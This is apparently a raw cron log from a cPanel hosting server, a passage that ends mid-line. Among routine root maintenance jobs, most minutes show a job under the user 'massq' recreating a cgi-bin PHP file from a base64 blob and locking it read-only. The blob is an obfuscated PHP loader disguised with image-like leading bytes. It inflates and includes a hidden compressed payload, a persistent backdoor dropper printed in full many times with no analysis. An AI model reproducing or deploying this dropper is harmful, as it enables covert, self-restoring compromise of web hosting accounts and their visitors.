Sep 10 18:10:01 server CROND[13840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:10:01 server CROND[13848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:10:01 server CROND[13849]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:10:01 server CROND[13844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:10:01 server CROND[13850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:10:01 server CROND[13846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:10:01 server CROND[13845]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:11:01 server CROND[14686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:11:01 server CROND[14688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:11:01 server CROND[14687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:12:01 server CROND[15056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:12:01 server CROND[15057]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 18:12:01 server CROND[15058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:12:01 server CROND[15059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:13:01 server CROND[15426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:13:01 server CROND[15427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:13:01 server CROND[15428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:14:01 server CROND[16040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:14:01 server CROND[16041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:14:01 server CROND[16042]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:15:01 server CROND[16423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:15:01 server CROND[16425]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 10 18:15:01 server CROND[16427]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 18:15:01 server CROND[16429]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 18:15:01 server CROND[16431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:15:01 server CROND[16432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:15:01 server CROND[16434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:15:01 server CROND[16437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:15:01 server CROND[16436]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:15:01 server CROND[16433]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:16:01 server CROND[17333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:16:01 server CROND[17334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:16:01 server CROND[17332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:17:01 server CROND[17692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:17:01 server CROND[17693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:17:01 server CROND[17694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:18:01 server CROND[18075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:18:01 server CROND[18076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:18:01 server CROND[18074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:19:01 server CROND[18480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:19:01 server CROND[18481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:19:01 server CROND[18482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:20:01 server CROND[19005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:20:01 server CROND[19009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:20:01 server CROND[19018]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:20:01 server CROND[19024]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 18:20:01 server CROND[19023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:20:01 server CROND[19025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:20:01 server CROND[19026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:20:01 server CROND[19027]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:20:01 server CROND[19022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:21:01 server CROND[19837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:21:01 server CROND[19838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBq